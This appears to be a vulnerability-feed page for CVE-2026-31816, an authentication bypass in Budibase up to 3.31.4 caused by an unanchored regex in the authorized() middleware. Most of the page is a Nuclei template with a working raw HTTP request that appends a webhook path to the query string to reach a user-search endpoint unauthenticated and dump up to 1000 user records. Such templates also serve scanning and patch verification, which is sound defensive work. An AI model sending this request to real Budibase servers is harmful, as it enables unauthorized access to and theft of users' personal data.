CVE-2026-31816: Budibase - Authentication Bypass

2026-04-09 Budibase PoC Public

Description

Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.

Details

CVE
CVE-2026-31816 · CVE.org
Severity
高危
Affected
Budibase
Published
PoC
Public

PoC

id: CVE-2026-31816

info:
  name: Budibase - Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
  impact: |
    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
  remediation: |
    Update to a version later than 3.31.4 or latest available version.
  reference:
    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-31816
    epss-score: 0.16683
    epss-percentile: 0.97075
    cwe-id: CWE-74
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev

http:
  - raw:
      - |
        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-budibase-app-id: {{app_id}}

        {"query":{},"limit":1000}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "email", "roleId", "status")'
        condition: and
# digest: 4a0a00473045022100c7bab792994b6f9816db9496bbd75ca938beeaf10cc4d05f4944559b24ec898d02207542eed9f51b3262714fa52fe113b3d24d370038a0a15a4ee117ccf219522134:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life